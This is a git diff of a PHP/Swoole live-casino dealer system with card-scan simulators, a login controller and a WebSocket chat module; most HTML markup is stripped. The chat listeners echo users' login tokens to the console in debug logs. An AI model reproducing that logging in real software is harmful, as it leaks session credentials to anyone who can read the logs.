+ +
+ + + + + + + + + + + + + + + + + + + + diff --git a/app/handle/view/index/tab_nn.html b/app/handle/view/index/tab_nn.html new file mode 100644 index 0000000..b5dd279 --- /dev/null +++ b/app/handle/view/index/tab_nn.html @@ -0,0 +1,621 @@ + + + + + 荷官端 + + + + + + + +
+
+ +
+
+
+
+
+ +
+
+
+
+
+
{:lang('now_time')}: 周四
+
+
+
+
+
+
+
+
+
+ {:lang('online_number')} + 0 +
+
+
+ +
+
+ + +
+
+
+
+ 定位 +
+
+
+
+
+
+
+
+
+
B
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+
P1
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
P2
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
P3
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+ +
+
+ + {:lang('start')} + + {:lang('start')} + + {:lang('end')} +
+
+ {:lang('reset_number')} + {:lang('change_boot')} + {:lang('close_boot')} + {:lang('logout')} +
+
+
+
+
{:lang('edit_previous_result')}
+
+ {:lang('select_result')}: + +
+ +
+
+
+ + + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + +
+
+ Submit + Cancel +
+
+ + + + + + + + + + + + + + + + + + + + + diff --git a/app/handle/view/index/tab_nn_sb.html b/app/handle/view/index/tab_nn_sb.html new file mode 100644 index 0000000..c7f8bc6 --- /dev/null +++ b/app/handle/view/index/tab_nn_sb.html @@ -0,0 +1,625 @@ + + + + + 荷官端 + + + + + + + +
+
+ +
+
+
+
+
+ +
+
+
+
+
+
{:lang('now_time')}: 周四
+
+
+
+
+
+
+
+
+
+ {:lang('online_number')} + 0 +
+
+
+ +
+
+ + +
+
+
+
+ 定位 +
+
+
+
+
+
+
+
+
+
B
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+
P1
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
P2
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
P3
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+ +
+
+ + {:lang('start')} + + {:lang('start')} + + {:lang('end')} +
+
+ {:lang('reset_number')} + {:lang('change_boot')} + {:lang('close_boot')} + {:lang('logout')} +
+
+ {:lang('restart_sb')} + {:lang('stop_sb')} +
+
+
+
+
{:lang('edit_previous_result')}
+
+ {:lang('select_result')}: + +
+ +
+
+
+ + + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + +
+
+ Submit + Cancel +
+
+ + + + + + + + + + + + + + + + + + + + + diff --git a/app/handle/view/index/tab_roulette.html b/app/handle/view/index/tab_roulette.html new file mode 100644 index 0000000..7de7b73 --- /dev/null +++ b/app/handle/view/index/tab_roulette.html @@ -0,0 +1,131 @@ + + + + + 荷官端 + + + + + + +
+
+
+
+
+
+
+ +
+
+
+
+
+
{:lang('now_time')}: 周四
+
+
+
+
+
+
+
+
+
+ {:lang('online_number')} + 0 +
+ +
+
+ +
+
+ +
+
+
+ + +
+
+
+
+ +
+
+ {:lang('start')} + {:lang('end')} +
+
+ {:lang('reset_number')} + {:lang('change_boot')} + {:lang('close_boot')} + {:lang('logout')} +
+
+
+
+
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + diff --git a/app/handle/view/index/tab_toning.html b/app/handle/view/index/tab_toning.html new file mode 100644 index 0000000..333fa77 --- /dev/null +++ b/app/handle/view/index/tab_toning.html @@ -0,0 +1,137 @@ + + + + + 荷官端 + + + + + + +
+
+
+
+
+
+
+ +
+
+
+
+
+
{:lang('now_time')}: 周四
+
+
+
+
+
+
+
+
+
+ {:lang('online_number')} + 0 +
+ +
+
+ +
+
+ +
+
+
+ + +
+
+
+
+ +
+
+ {:lang('start')} + {:lang('end')} +
+
+ {:lang('reset_number')} + {:lang('change_boot')} + {:lang('close_boot')} + {:lang('logout')} +
+
+
+
+
+
0
+
1
+
2
+
3
+
4
+
+ +
+ +
+ + + + + + + + + + + + + + + + + + + + + + diff --git a/app/handle/view/login/index.html b/app/handle/view/login/index.html new file mode 100644 index 0000000..0335f7f --- /dev/null +++ b/app/handle/view/login/index.html @@ -0,0 +1,61 @@ + + + + + 用户登录 + + + + +
+

操作台登录

+

账号

+ +

密码

+ + +
+ + + \ No newline at end of file diff --git a/app/handle/view/manager/index.html b/app/handle/view/manager/index.html new file mode 100644 index 0000000..cac0baf --- /dev/null +++ b/app/handle/view/manager/index.html @@ -0,0 +1,27 @@ + + + + + 模拟经理端 + + + + + + +
模拟经理端
+ + + diff --git a/app/handle/view/scan/dt_index.html b/app/handle/view/scan/dt_index.html new file mode 100644 index 0000000..1620ae6 --- /dev/null +++ b/app/handle/view/scan/dt_index.html @@ -0,0 +1,67 @@ + + + + + 模拟龙虎扫描端 + + + + + + + 龙:
+ 虎:
+ + + + diff --git a/app/handle/view/scan/dt_sb.html b/app/handle/view/scan/dt_sb.html new file mode 100644 index 0000000..d594ebe --- /dev/null +++ b/app/handle/view/scan/dt_sb.html @@ -0,0 +1,189 @@ + + + + + 模拟龙虎识别端 + + + + + + +
+台桌号:
+接收:
+1. 启动识别: startScanEvent
+2. 停止识别: stopScanEvent
+3. 指定下标识别: scanIndexEvent
+4. 多个位置识别: scanAllEvent
+5. 停止发送数据: stopSendingDataEvent
+

+发送:
+1. 连接: ;响应:joinEvent
+ + +龙:
+虎:
+ + +

+
+
+ + + + diff --git a/app/handle/view/scan/index.html b/app/handle/view/scan/index.html new file mode 100644 index 0000000..f6901e2 --- /dev/null +++ b/app/handle/view/scan/index.html @@ -0,0 +1,96 @@ + + + + + 模拟百家乐扫描端 + + + + + + + 庄1:
+ 庄2:
+ + 闲1:
+ 闲2:
+ 补牌庄:
+ 补牌闲:

+ + + + diff --git a/app/handle/view/scan/index_sb.html b/app/handle/view/scan/index_sb.html new file mode 100644 index 0000000..37dd6a9 --- /dev/null +++ b/app/handle/view/scan/index_sb.html @@ -0,0 +1,220 @@ + + + + + 模拟百家乐识别端 + + + + + + +
+台桌号:
+接收:
+1. 启动识别: startScanEvent
+2. 停止识别: stopScanEvent
+3. 指定下标识别: scanIndexEvent
+4. 多个位置识别: scanAllEvent
+5. 停止发送数据: stopSendingDataEvent
+

+发送:
+1. 连接: ;响应:joinEvent
+ + +闲1:
+闲2:
+ +庄1:
+庄2:
+ + +补牌闲:

+补牌庄:
+ + +

+
+
+ + + + diff --git a/app/handle/view/scan/nn_index.html b/app/handle/view/scan/nn_index.html new file mode 100644 index 0000000..f748195 --- /dev/null +++ b/app/handle/view/scan/nn_index.html @@ -0,0 +1,134 @@ + + + + + 模拟牛牛扫描端 + + + + + + + 起始牌:
+
+ 1:
+ 2:
+ 3:
+ 4:
+ 5:
+
+ 6:
+ 7:
+ 8:
+ 9:
+ 10:
+
+ 11:
+ 12:
+ 13:
+ 14:
+ 15:
+
+ 16:
+ 17:
+ 18:
+ 19:
+ 20:
+ + + + diff --git a/app/handle/view/scan/nn_sb.html b/app/handle/view/scan/nn_sb.html new file mode 100644 index 0000000..d360dc8 --- /dev/null +++ b/app/handle/view/scan/nn_sb.html @@ -0,0 +1,248 @@ + + + + + 模拟牛牛识别端 + + + + + + +
+台桌号:
+接收:
+1. 启动识别: startScanEvent
+2. 停止识别: stopScanEvent
+3. 指定下标识别: scanIndexEvent
+4. 多个位置识别: scanAllEvent
+5. 停止发送数据: stopSendingDataEvent
+

+发送:
+1. 连接: ;响应:joinEvent
+ + + 起始牌:
+
+ 1:
+ 2:
+ 3:
+ 4:
+ 5:
+
+ 6:
+ 7:
+ 8:
+ 9:
+ 10:
+
+ 11:
+ 12:
+ 13:
+ 14:
+ 15:
+
+ 16:
+ 17:
+ 18:
+ 19:
+ 20:
+

+
+
+ + + + diff --git a/app/handle/view/scan/tc_index.html b/app/handle/view/scan/tc_index.html new file mode 100644 index 0000000..1d7806a --- /dev/null +++ b/app/handle/view/scan/tc_index.html @@ -0,0 +1,102 @@ + + + + + 模拟三卡扫描端 + + + + + + + 起始牌:
+
+ 1:
+ 2:
+ 3:
+
+ 4:
+ 5:
+ 6:
+
+ 7:
+ 8:
+ 9:
+
+ 10:
+ 11:
+ 12:
+ + + + diff --git a/app/index/common.php b/app/index/common.php new file mode 100644 index 0000000..1243615 --- /dev/null +++ b/app/index/common.php @@ -0,0 +1,2 @@ +where(['status' => 1])->select()->toArray(); + $user_info = Session::get('user_info'); + $user = Db::name('user')->where(['id' => $user_info['id']])->find(); + $login_token = create_login_token($user); + $api_token = $login_token; + Db::name('user')->where(['id' => $user_info['id']])->update(['login_token' => $login_token, 'api_token' => $api_token]); + View::assign('api_token',$api_token); + View::assign('login_token',$login_token); + View::assign('tables',$tables); + View::assign('user',$user); + View::assign('websocketUrl',Env::get('system.WEBSOCKET')); + View::assign('websocketProtocol',Env::get('system.PROTOCOL')); + return View::fetch(); + } + function get_lang(): Json + { + if(!Request::instance()->isPost()) return json(); + $lang = Lang::get(); + return json(array('status' => 1, 'lang' => $lang)); + } +} \ No newline at end of file diff --git a/app/index/controller/Login.php b/app/index/controller/Login.php new file mode 100644 index 0000000..1d41a19 --- /dev/null +++ b/app/index/controller/Login.php @@ -0,0 +1,50 @@ +isPost()) return json(); + $username = Request::instance()->post('username'); + $password = Request::instance()->post('password'); + $find = Db::name('user')->where(array('username' => $username, 'is_delete' => 0, 'status' => 1))->find(); + if(!$find){ + Session::delete('user_info'); + return json(['code' => 0, 'msg' => '用户不存在']); + } + if(think_ucenter_md5($password, UC_AUTH_KEY) == $find['password'] && !empty($find['password'])){ + Session::set('user_info',$find); + return json(['code'=>1,'msg'=>'登录成功','url'=>'/']); + }else{ + Session::delete('user_info'); + return json(['code'=>0,'msg'=>'密码错误']); + } + } + /** + * 退出登录 + */ + public function logout(): Redirect + { + Session::delete('user_info'); + return redirect('/login/index'); + } +} \ No newline at end of file diff --git a/app/index/event.php b/app/index/event.php new file mode 100644 index 0000000..4eff890 --- /dev/null +++ b/app/index/event.php @@ -0,0 +1,5 @@ + + + + + Document + + + +
余分:
+
+ +
+ + + + + + diff --git a/app/index/view/login/index.html b/app/index/view/login/index.html new file mode 100644 index 0000000..a395078 --- /dev/null +++ b/app/index/view/login/index.html @@ -0,0 +1,33 @@ + + + + + Document + + + +
+
+ + + + \ No newline at end of file diff --git a/app/listener/.DS_Store b/app/listener/.DS_Store new file mode 100644 index 0000000..cd015b8 Binary files /dev/null and b/app/listener/.DS_Store differ diff --git a/app/listener/GetState.php b/app/listener/GetState.php new file mode 100644 index 0000000..26212ee --- /dev/null +++ b/app/listener/GetState.php @@ -0,0 +1,100 @@ +getSender()); + $fdInfo = $tableFd->get((string) $ws->getSender()); + pre($fdInfo); + $preliminaryCheckRes = SocketSession::preliminaryCheck($event,$fdInfo['mode']); + if($preliminaryCheckRes['status'] == true){ + $tableInfo = $preliminaryCheckRes['data']; + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + $field = '*'; + if($numberTabInfo['game_id'] == 1){ + $field = 'table_id,game_id,user_id,banker_amount,player_amount,tie_amount,banker_pair_amount,player_pair_amount,luck_six_amount,big_amount,small_amount'; + }elseif($numberTabInfo['game_id'] == 2){ + $field = 'table_id,game_id,user_id,banker_amount,player_amount,tie_amount'; + }elseif($numberTabInfo['game_id'] == 4 || $numberTabInfo['game_id'] == 5){ + $field = 'table_id,game_id,user_id, + amount_player_1,amount_player_1_times,withhold_player_1_times,amount_player_1_banker,amount_player_1_banker_times,withhold_player_1_banker_times, + amount_player_2,amount_player_2_times,withhold_player_2_times,amount_player_2_banker,amount_player_2_banker_times,withhold_player_2_banker_times, + amount_player_3,amount_player_3_times,withhold_player_3_times,amount_player_3_banker,amount_player_3_banker_times,withhold_player_3_banker_times'; + }elseif($numberTabInfo['game_id'] == 6){ + $field = 'table_id,game_id,user_id,toning_amount'; + }elseif($numberTabInfo['game_id'] == 7){ + $field = 'table_id,game_id,user_id,dice_amount'; + }elseif($numberTabInfo['game_id'] == 8){ + $field = 'table_id,game_id,user_id,roulette_european_amount,roulette_french_amount'; + } + $bets = $numberTabInfo ? Bet::getByNumberTabIdValid($numberTabInfo['id'], $field) : []; + if($bets){ + if($numberTabInfo['game_id'] == 6){ + foreach ($bets as $key => $val){ + $val['toning_amount'] = string_to_array($val['toning_amount']); + $bets[$key] = $val; + } + } + + if($numberTabInfo['game_id'] == 7){ + foreach ($bets as $key => $val){ + $val['dice_amount'] = string_to_array($val['dice_amount']); + $bets[$key] = $val; + } + } + if($numberTabInfo['game_id'] == 8){ + foreach ($bets as $key => $val){ + if($val['roulette_european_amount']){ + $val['roulette_type'] = 'european'; + $val['roulette_amount'] = string_to_array($val['roulette_european_amount']); + }elseif($val['roulette_french_amount']){ + $val['roulette_type'] = 'french'; + $val['roulette_amount'] = string_to_array($val['roulette_french_amount']); + }else{ + $val['roulette_type'] = ''; + $val['roulette_amount'] = array(); + } + unset($val['roulette_european_amount']); + unset($val['roulette_french_amount']); + $bets[$key] = $val; + } + } + } + $round = [ + // 靴ID + 'boot_id' => $numberTabInfo ? $numberTabInfo['boot_id'] : 0, + // 靴号 + 'boot_num' => $numberTabInfo ? $numberTabInfo['boot_num'] : 1, + // 铺ID + 'number_tab_id' => $numberTabInfo ? $numberTabInfo['id'] : 0, + // 铺号 + 'number_tab_number' => $numberTabInfo ? $numberTabInfo['number'] : 1, + // 铺状态 0、未开始 1、接受下注 2、下注结束 3、开出结果 + 'bet_status' => $numberTabInfo ? $numberTabInfo['bet_status'] : 0, + // 注单数据 + 'bet' => $bets, + // 牌数据 + 'show_card' => $numberTabInfo ? GetCardService::getCard($tableInfo,$numberTabInfo) : [] + ]; + $ws->emit('getState',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + }else{ + $ws->emit('getState', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/WsClose.php b/app/listener/WsClose.php new file mode 100644 index 0000000..df948a1 --- /dev/null +++ b/app/listener/WsClose.php @@ -0,0 +1,60 @@ +getSender(); + $fdInfo = $tableFd->get((string) $fd); + $mode = $fdInfo['mode']; + switch ($mode) { + case 'space': + $tableSpace = app('swoole.table.space'); + $tableSpace->del((string) $fdInfo['table_id']); + $ws->leave(SocketSession::SPACE_ROOM_NAME); + break; + case 'scan': + $tableScan = app('swoole.table.scan'); + $tableScan->del((string) $fdInfo['scan_appid']); + $ws->leave(SocketSession::SCAN_ROOM_NAME); + break; + case 'user': + $tableUser = app('swoole.table.user'); + $tableUser->del((string) $fdInfo['user_id']); + $ws->leave(SocketSession::USER_ROOM_NAME); + break; + case 'api': + $tableApi = app('swoole.table.api'); + $tableApi->del((string) $fdInfo['api_appid']); + $ws->leave(SocketSession::API_ROOM_NAME); + break; + case 'manager': + $tableManager = app('swoole.table.manager'); + $tableManager->del((string) $fdInfo['user_id']); + $ws->leave(SocketSession::MANAGER_ROOM_NAME); + break; + case 'chat_user': + $chatListener = new \app\listener\chat\ChatConnectListener(); + $chatListener->onClose($ws); + break; + case 'chat_agent': + $chatListener = new \app\listener\chat\ChatConnectListener(); + $chatListener->onClose($ws); + break; + } + $tableFd->del((string) $fd); + $ws->leave(SocketSession::HOUSE_NAME); + echo $fd.":退出\n"; + } +} diff --git a/app/listener/WsConnect.php b/app/listener/WsConnect.php new file mode 100644 index 0000000..0a99c19 --- /dev/null +++ b/app/listener/WsConnect.php @@ -0,0 +1,38 @@ +get('connect'); + switch ($connect) { + case 'space': + SpaceConnectService::doSpaceConnect($event); + break; + case 'user': + UserConnectService::doUserConnect($event); + break; + case 'scan': + ScanConnectService::doScanConnect($event); + break; + case 'manager': + ManagerConnectService::doManagerConnect($event); + break; + + } + + } +} diff --git a/app/listener/chat/ChatConnect.php b/app/listener/chat/ChatConnect.php new file mode 100644 index 0000000..54ebd5b --- /dev/null +++ b/app/listener/chat/ChatConnect.php @@ -0,0 +1,243 @@ +sessionService = new SessionService(); + $this->assignService = new AssignService(); + } + + /** + * 事件监听处理 + */ + public function handle(array $data, WebSocket $ws): void + { + // 添加更详细的调试日志 + echo "[Chat] ========== 收到chat.connect事件 ==========\n"; + echo "[Chat] 原始数据: " . json_encode($data, JSON_UNESCAPED_UNICODE) . "\n"; + + $token = $data['token'] ?? ''; + $source = (int)($data['source'] ?? ChatSession::SOURCE_PC); + $role = $data['role'] ?? 'user'; // user 或 agent + + echo "[Chat] 解析后 - Token: {$token}, Source: {$source}, Role: {$role}\n"; + + if ($role === 'agent') { + $this->handleAgentConnect($ws, $token, $data); + } else { + $this->handleUserConnect($ws, $token, $source); + } + } + + /** + * 处理用户连接 + */ + private function handleUserConnect(WebSocket $ws, string $token, int $source): void + { + $fd = $ws->getSender(); + + // 调试日志 + echo "[Chat] 收到用户连接请求 - FD: {$fd}, Token: {$token}, Source: {$source}\n"; + + // 验证用户Token + $user = $this->verifyUserToken($token); + if (!$user) { + echo "[Chat] Token验证失败 - Token: {$token}\n"; + + // 尝试查询数据库看看是否有这个token + $count = Db::name('user')->where('login_token', $token)->count(); + echo "[Chat] 数据库中login_token={$token}的记录数: {$count}\n"; + + $ws->emit('chat.connected', [ + 'success' => false, + 'error' => 'invalid_token' + ]); + return; + } + + $userId = (int)$user['id']; + echo "[Chat] Token验证成功 - UserID: {$userId}, Username: {$user['username']}\n"; + + // 注册连接 + $this->sessionService->registerUserConnection($userId, $fd); + + // 保存fd映射 + $tableFd = app('swoole.table.fd'); + $tableFd->set((string)$fd, [ + 'mode' => 'chat_user', + 'user_id' => $userId, + 'table_id' => 0, + 'scan_appid' => '', + 'api_appid' => '', + ]); + + // 加入聊天房间 + $ws->join('chat_user_' . $userId); + + // 获取或创建会话 + $session = $this->sessionService->createSession($userId, $source); + echo "[Chat] 会话创建成功 - SessionID: {$session['id']}, Status: {$session['status']}\n"; + + // 获取客服信息 + $agentInfo = null; + if (!empty($session['admin_id'])) { + $admin = Db::name('admin')->where('id', $session['admin_id'])->find(); + $agentInfo = [ + 'id' => $admin['id'], + 'nickname' => $admin['nickname'] ?? $admin['username'] ?? '客服', + ]; + } + + $ws->emit('chat.connected', [ + 'success' => true, + 'sessionId' => $session['id'], + 'status' => $session['status'], + 'agentInfo' => $agentInfo, + ]); + echo "[Chat] 发送chat.connected响应成功\n"; + + // 如果会话待分配,通知用户 + if ($session['status'] === ChatSession::STATUS_PENDING) { + $ws->emit('chat.offline_notice', [ + 'message' => '当前客服繁忙,请稍候...' + ]); + } + } + + /** + * 处理客服连接 + */ + private function handleAgentConnect(WebSocket $ws, string $token, array $data): void + { + $fd = $ws->getSender(); + + // 验证客服Token (复用Admin Session) + $admin = $this->verifyAdminToken($token); + if (!$admin) { + $ws->emit('chat.connected', [ + 'success' => false, + 'error' => 'invalid_token' + ]); + return; + } + + $adminId = (int)$admin['id']; + $maxSessions = (int)($data['maxSessions'] ?? 10); + + // 注册连接 + $this->sessionService->registerAgentConnection($adminId, $fd); + + // 设置客服在线 + $this->assignService->setAgentOnline($adminId); + + // 保存fd映射 + $tableFd = app('swoole.table.fd'); + $tableFd->set((string)$fd, [ + 'mode' => 'chat_agent', + 'user_id' => $adminId, + 'table_id' => 0, + 'scan_appid' => '', + 'api_appid' => '', + ]); + + // 加入客服房间 + $ws->join('chat_agent_' . $adminId); + + // 处理离线队列 + $processed = $this->assignService->processOfflineQueue($adminId); + + // 获取当前会话列表 + $sessions = $this->sessionService->getAgentSessions($adminId); + + $ws->emit('chat.connected', [ + 'success' => true, + 'sessions' => $sessions, + 'processedFromQueue' => count($processed), + ]); + + // 通知被分配的用户 + foreach ($processed as $item) { + $this->notifyUserAssigned($item['userId'], $item['sessionId'], $adminId); + } + } + + /** + * 验证用户Token + */ + private function verifyUserToken(string $token): ?array + { + if (empty($token)) { + echo "[Chat] Token为空\n"; + return null; + } + + // 去除token末尾可能的空格 + $token = trim($token); + + echo "[Chat] 开始验证Token: {$token}\n"; + + $user = Db::name('user') + ->where('login_token', $token) + ->where('status', 1) + ->where('is_delete', 0) + ->find(); + + if ($user) { + echo "[Chat] 找到用户: ID={$user['id']}, Username={$user['username']}\n"; + } else { + echo "[Chat] 未找到匹配的用户\n"; + } + + return $user; + } + + /** + * 验证客服Token + */ + private function verifyAdminToken(string $token): ?array + { + if (empty($token)) { + return null; + } + + // 复用Admin的session token验证 + return Db::name('admin') + ->where('login_token', $token) + ->where('status', 1) + ->find(); + } + + /** + * 通知用户会话已分配 + */ + private function notifyUserAssigned(int $userId, int $sessionId, int $adminId): void + { + $ws = app('\think\swoole\WebSocket'); + $admin = Db::name('admin')->where('id', $adminId)->find(); + + $ws->to('chat_user_' . $userId)->emit('chat.session.assigned', [ + 'sessionId' => $sessionId, + 'agentInfo' => [ + 'id' => $admin['id'], + 'nickname' => $admin['nickname'] ?? $admin['username'] ?? '客服', + ], + ]); + } +} diff --git a/app/listener/chat/ChatConnectListener.php b/app/listener/chat/ChatConnectListener.php new file mode 100644 index 0000000..45d5d33 --- /dev/null +++ b/app/listener/chat/ChatConnectListener.php @@ -0,0 +1,297 @@ +sessionService = new SessionService(); + $this->assignService = new AssignService(); + } + + /** + * 处理聊天连接事件 + */ + public function onConnect(WebSocket $ws, array $data): void + { + // 添加更详细的调试日志 + echo "[Chat] ========== 收到chat.connect事件 ==========\n"; + echo "[Chat] 原始数据: " . json_encode($data, JSON_UNESCAPED_UNICODE) . "\n"; + + $token = $data['token'] ?? ''; + $source = (int)($data['source'] ?? ChatSession::SOURCE_PC); + $role = $data['role'] ?? 'user'; // user 或 agent + + echo "[Chat] 解析后 - Token: {$token}, Source: {$source}, Role: {$role}\n"; + + if ($role === 'agent') { + $this->handleAgentConnect($ws, $token, $data); + } else { + $this->handleUserConnect($ws, $token, $source); + } + } + + /** + * 处理用户连接 + */ + private function handleUserConnect(WebSocket $ws, string $token, int $source): void + { + $fd = $ws->getSender(); + + // 调试日志 + echo "[Chat] 收到用户连接请求 - FD: {$fd}, Token: {$token}, Source: {$source}\n"; + + // 验证用户Token + $user = $this->verifyUserToken($token); + if (!$user) { + echo "[Chat] Token验证失败 - Token: {$token}\n"; + + // 尝试查询数据库看看是否有这个token + $count = Db::name('user')->where('login_token', $token)->count(); + echo "[Chat] 数据库中login_token={$token}的记录数: {$count}\n"; + + $ws->emit('chat.connected', [ + 'success' => false, + 'error' => 'invalid_token' + ]); + return; + } + + $userId = (int)$user['id']; + echo "[Chat] Token验证成功 - UserID: {$userId}, Username: {$user['username']}\n"; + + // 注册连接 + $this->sessionService->registerUserConnection($userId, $fd); + + // 保存fd映射 + $tableFd = app('swoole.table.fd'); + $tableFd->set((string)$fd, [ + 'mode' => 'chat_user', + 'user_id' => $userId, + 'table_id' => 0, + 'scan_appid' => '', + 'api_appid' => '', + ]); + + // 加入聊天房间 + $ws->join('chat_user_' . $userId); + + // 获取或创建会话 + $session = $this->sessionService->createSession($userId, $source); + echo "[Chat] 会话创建成功 - SessionID: {$session['id']}, Status: {$session['status']}\n"; + + // 获取客服信息 + $agentInfo = null; + if (!empty($session['admin_id'])) { + $admin = Db::name('admin')->where('id', $session['admin_id'])->find(); + $agentInfo = [ + 'id' => $admin['id'], + 'nickname' => $admin['nickname'] ?? $admin['username'] ?? '客服', + ]; + } + + $ws->emit('chat.connected', [ + 'success' => true, + 'sessionId' => $session['id'], + 'status' => $session['status'], + 'agentInfo' => $agentInfo, + ]); + echo "[Chat] 发送chat.connected响应成功\n"; + + // 如果会话待分配,通知用户 + if ($session['status'] === ChatSession::STATUS_PENDING) { + $ws->emit('chat.offline_notice', [ + 'message' => '当前客服繁忙,请稍候...' + ]); + } + } + + /** + * 处理客服连接 + */ + private function handleAgentConnect(WebSocket $ws, string $token, array $data): void + { + $fd = $ws->getSender(); + + // 验证客服Token (复用Admin Session) + $admin = $this->verifyAdminToken($token); + if (!$admin) { + $ws->emit('chat.connected', [ + 'success' => false, + 'error' => 'invalid_token' + ]); + return; + } + + $adminId = (int)$admin['id']; + $maxSessions = (int)($data['maxSessions'] ?? 10); + + // 注册连接 + $this->sessionService->registerAgentConnection($adminId, $fd); + + // 设置客服在线 + $this->assignService->setAgentOnline($adminId); + + // 保存fd映射 + $tableFd = app('swoole.table.fd'); + $tableFd->set((string)$fd, [ + 'mode' => 'chat_agent', + 'user_id' => $adminId, + 'table_id' => 0, + 'scan_appid' => '', + 'api_appid' => '', + ]); + + // 加入客服房间 + $ws->join('chat_agent_' . $adminId); + + // 处理离线队列 + $processed = $this->assignService->processOfflineQueue($adminId); + + // 获取当前会话列表 + $sessions = $this->sessionService->getAgentSessions($adminId); + + $ws->emit('chat.connected', [ + 'success' => true, + 'sessions' => $sessions, + 'processedFromQueue' => count($processed), + ]); + + // 通知被分配的用户 + foreach ($processed as $item) { + $this->notifyUserAssigned($item['userId'], $item['sessionId'], $adminId); + } + } + + /** + * 处理心跳 + */ + public function onPing(WebSocket $ws, array $data): void + { + $fd = $ws->getSender(); + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string)$fd); + + if (!$fdInfo) { + return; + } + + if ($fdInfo['mode'] === 'chat_user') { + $this->sessionService->refreshUserConnection($fdInfo['user_id']); + } elseif ($fdInfo['mode'] === 'chat_agent') { + $this->sessionService->refreshAgentConnection($fdInfo['user_id']); + $this->assignService->refreshAgentOnline($fdInfo['user_id']); + } + + $ws->emit('chat.pong', []); + } + + /** + * 处理断开连接 + */ + public function onClose(WebSocket $ws): void + { + $fd = $ws->getSender(); + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string)$fd); + + if (!$fdInfo) { + return; + } + + if ($fdInfo['mode'] === 'chat_user') { + $userId = $fdInfo['user_id']; + $this->sessionService->clearUserConnection($userId); + $ws->leave('chat_user_' . $userId); + } elseif ($fdInfo['mode'] === 'chat_agent') { + $adminId = $fdInfo['user_id']; + $this->sessionService->clearAgentConnection($adminId); + $this->assignService->setAgentOffline($adminId); + $ws->leave('chat_agent_' . $adminId); + } + } + + /** + * 验证用户Token + */ + private function verifyUserToken(string $token): ?array + { + if (empty($token)) { + echo "[Chat] Token为空\n"; + return null; + } + + // 去除token末尾可能的空格 + $token = trim($token); + + echo "[Chat] 开始验证Token: {$token}\n"; + + $user = Db::name('user') + ->where('login_token', $token) + ->where('status', 1) + ->where('is_delete', 0) + ->find(); + + if ($user) { + echo "[Chat] 找到用户: ID={$user['id']}, Username={$user['username']}\n"; + } else { + echo "[Chat] 未找到匹配的用户\n"; + } + + return $user; + } + + /** + * 验证客服Token + */ + private function verifyAdminToken(string $token): ?array + { + if (empty($token)) { + return null; + } + + // 复用Admin的session token验证 + return Db::name('admin') + ->where('login_token', $token) + ->where('status', 1) + ->find(); + } + + /** + * 通知用户会话已分配 + */ + private function notifyUserAssigned(int $userId, int $sessionId, int $adminId): void + { + $ws = app('\think\swoole\WebSocket'); + $admin = Db::name('admin')->where('id', $adminId)->find(); + + $ws->to('chat_user_' . $userId)->emit('chat.session.assigned', [ + 'sessionId' => $sessionId, + 'agentInfo' => [ + 'id' => $admin['id'], + 'nickname' => $admin['nickname'] ?? $admin['username'] ?? '客服', + ], + ]); + } +} diff --git a/app/listener/chat/ChatMessageAck.php b/app/listener/chat/ChatMessageAck.php new file mode 100644 index 0000000..446aa25 --- /dev/null +++ b/app/listener/chat/ChatMessageAck.php @@ -0,0 +1,25 @@ +messageService = new MessageService(); + } + + public function handle(array $data, WebSocket $ws): void + { + $this->messageService->acknowledgeMessage($ws, $data); + } +} diff --git a/app/listener/chat/ChatMessageListener.php b/app/listener/chat/ChatMessageListener.php new file mode 100644 index 0000000..b49d8b9 --- /dev/null +++ b/app/listener/chat/ChatMessageListener.php @@ -0,0 +1,290 @@ +messageService = new MessageService(); + $this->sessionService = new SessionService(); + } + + /** + * 处理发送消息 + * 两段ACK: server_ack(服务端已接收) + peer_ack(对端已送达) + */ + public function onMessageSend(WebSocket $ws, array $data): void + { + $fd = $ws->getSender(); + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string)$fd); + + if (!$fdInfo || !in_array($fdInfo['mode'], ['chat_user', 'chat_agent'])) { + $ws->emit('chat.message.server_ack', [ + 'success' => false, + 'error' => 'not_connected' + ]); + return; + } + + $sessionId = (int)($data['sessionId'] ?? 0); + $msgType = (int)($data['msgType'] ?? ChatMessage::MSG_TYPE_TEXT); + $content = $data['content'] ?? ''; + $clientMsgId = $data['clientMsgId'] ?? null; + + // 验证会话 + $session = ChatSession::find($sessionId); + if (!$session || $session['status'] === ChatSession::STATUS_ENDED) { + $ws->emit('chat.message.server_ack', [ + 'clientMsgId' => $clientMsgId, + 'success' => false, + 'error' => 'session_invalid' + ]); + return; + } + + // 验证内容 + $validation = $this->messageService->validateContent($content, $msgType); + if (!$validation['valid']) { + $ws->emit('chat.message.server_ack', [ + 'clientMsgId' => $clientMsgId, + 'success' => false, + 'error' => $validation['error'] + ]); + return; + } + + // 确定发送者 + $senderType = $fdInfo['mode'] === 'chat_user' + ? ChatMessage::SENDER_USER + : ChatMessage::SENDER_ADMIN; + $senderId = $fdInfo['user_id']; + + // 验证发送者权限 + if ($senderType === ChatMessage::SENDER_USER && $session['user_id'] != $senderId) { + $ws->emit('chat.message.server_ack', [ + 'clientMsgId' => $clientMsgId, + 'success' => false, + 'error' => 'permission_denied' + ]); + return; + } + if ($senderType === ChatMessage::SENDER_ADMIN && $session['admin_id'] != $senderId) { + 